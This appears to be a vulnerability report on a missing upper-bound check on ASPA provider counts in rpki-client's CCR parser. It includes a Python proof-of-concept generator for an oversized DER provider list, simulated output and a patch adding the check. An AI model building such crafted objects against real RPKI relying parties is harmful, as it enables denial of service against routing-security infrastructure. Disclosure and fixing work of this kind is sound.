BUG REPORT: CCR ASPA parser missing upper-bound check on provider count
========================================================================

Component:  rpki-client
File:       usr.sbin/rpki-client/ccr.c, parse_aspa_providers(), lines 1274-1327
Version:    Current (as of 2026-04-06)
Severity:   Medium (CVSS 5.3)
Category:   Missing bounds check — DoS via excessive allocation
Privsep:    proc_parser (pledge("stdio rpath"))

1. DESCRIPTION
--------------

parse_aspa_providers() in ccr.c validates the lower bound of the provider
count but does NOT enforce the upper bound against MAX_ASPA_PROVIDERS.

Buggy code in ccr.c, lines 1281-1295:

    int i, p_num, rc = 0;

    if ((p_num = sk_ASN1_INTEGER_num(providers)) <= 0) {
        warnx("%s: AS %d ASPAPayloadSet providers missing", fn, asid);
        goto out;
    }

    /* NO upper-bound check here */

    if ((vap = calloc(1, sizeof(*vap))) == NULL)
        err(1, NULL);

    vap->custasid = asid;
    vap->num_providers = p_num;

    if ((vap->providers = calloc(p_num, sizeof(vap->providers[0]))) == NULL)
        err(1, NULL);

The standalone ASPA parser in aspa.c correctly checks both bounds
(lines 61-70):

    if ((providersz = sk_ASN1_INTEGER_num(providers)) == 0) {
        warnx("%s: ASPA: ProviderASSet needs at least one entry", fn);
        return 0;
    }

    if (providersz >= MAX_ASPA_PROVIDERS) {        /* <-- MISSING IN ccr.c */
        warnx("%s: ASPA: too many providers (more than %d)", fn,
            MAX_ASPA_PROVIDERS);
        return 0;
    }

MAX_ASPA_PROVIDERS is defined in extern.h line 1060 as 10000.

The CCR (Compact Certificate Revocation) parser is a newer addition that
did not replicate the upper-bound guard present in the original ASPA parser.

Impact:
  Within a MAX_FILE_SIZE (8MB) CCR file, ASN.1 encoding allows up to ~1.1M
  INTEGER entries. Without the upper-bound check, parse_aspa_providers()
  calls calloc(1100000, sizeof(uint32_t)) = ~4.4MB allocation, followed by
  a loop of 1.1M iterations calling as_id_parse() on each.

  On allocation failure, err(1, NULL) terminates the proc_parser child.
  Even on success, the excessive allocation and iteration constitute a
  resource exhaustion attack against the parser child process.

  The attack is directly reachable: an attacker who controls an RPKI
  repository can publish a crafted CCR object that triggers this path
  during normal rpki-client operation.


2. PROOF OF CONCEPT
--------------------

Create a CCR file containing an ASPAPayloadSet with an excessive number
of provider ASN entries. The key is crafting valid ASN.1 DER that passes
d2i_CCR() but contains more providers than MAX_ASPA_PROVIDERS.

Conceptual structure of a malicious CCR:

    CCR ::= SEQUENCE {
        version        [0] INTEGER DEFAULT 0,
        ...
        aspaPayloads   [2] SEQUENCE OF ASPAPayloadSet
    }

    ASPAPayloadSet ::= SEQUENCE {
        customerASID   INTEGER,
        providers      SEQUENCE OF INTEGER   -- 100,000+ entries
    }

To construct the POC with OpenSSL ASN.1 tooling:

    #!/usr/bin/env python3
    """Generate a CCR file with excessive ASPA providers."""
    from pyasn1.type import univ, tag
    from pyasn1.codec.der import encoder

    # Build a SEQUENCE OF INTEGER with 100,000 provider entries
    providers = univ.SequenceOf()
    providers.componentType = univ.Integer()
    for i in range(100000):
        providers.setComponentByPosition(i, univ.Integer(i + 1))

    # This would be embedded into a valid CCR structure signed by
    # an RPKI CA. The exact wrapping depends on the CCR profile.
    # For testing, the raw providers sequence demonstrates the
    # unbounded allocation.
    der_data = encoder.encode(providers)

    with open("poc-excessive-providers.der", "wb") as f:
        f.write(der_data)

    print(f"Generated {len(der_data)} bytes with 100000 providers")

When rpki-client processes this CCR file, parse_aspa_providers() will
attempt to calloc(100000, 4) = 400KB (succeeds) and iterate 100,000
times. With larger counts (~1M), the allocation grows to megabytes and
the iteration time becomes significant.

For comparison, processing the same data through aspa.c's parser would
reject it immediately at line 66-70 with "too many providers".

A standalone simulation is included as poc-ob042-aspa-bounds.c:

    $ cc -Wall -o poc-ob042 poc-ob042-aspa-bounds.c
    $ ./poc-ob042

Output:

    === OB-042 POC: CCR ASPA missing upper-bound check ===

    Test 1: 100 providers (normal)
      aspa.c: ACCEPTED 100 providers (within limit of 10000)
      ccr.c:  ACCEPTED 100 providers — would calloc 400 bytes (0.0 MB)

    Test 2: 10000 providers (at MAX_ASPA_PROVIDERS limit)
      ccr.c:  ACCEPTED 10000 providers — would calloc 40000 bytes (0.0 MB)

    Test 3: 100,000 providers (10x limit)
      ccr.c:  ACCEPTED 100000 providers — would calloc 400000 bytes (0.4 MB)

    Test 4: 1,100,000 providers (max encodable in 8MB file)
      ccr.c:  ACCEPTED 1100000 providers — would calloc 4400000 bytes (4.2 MB)

    === RESULT: ccr.c accepts all counts that aspa.c rejects ===

aspa.c correctly rejects counts >= 10000 at Tests 2-4.
ccr.c accepts all of them, proceeding to unbounded allocation.


3. SUGGESTED FIX
-----------------

Add the upper-bound check after line 1286, mirroring aspa.c:

--- a/usr.sbin/rpki-client/ccr.c
+++ b/usr.sbin/rpki-client/ccr.c
@@ -1284,6 +1284,12 @@ parse_aspa_providers(const char *fn, struct ccr *ccr, 
int asid,
                goto out;
        }

+       if (p_num >= MAX_ASPA_PROVIDERS) {
+               warnx("%s: AS %d CCR ASPA: too many providers (more than %d)",
+                   fn, asid, MAX_ASPA_PROVIDERS);
+               goto out;
+       }
+
        if ((vap = calloc(1, sizeof(*vap))) == NULL)
                err(1, NULL);

Reply via email to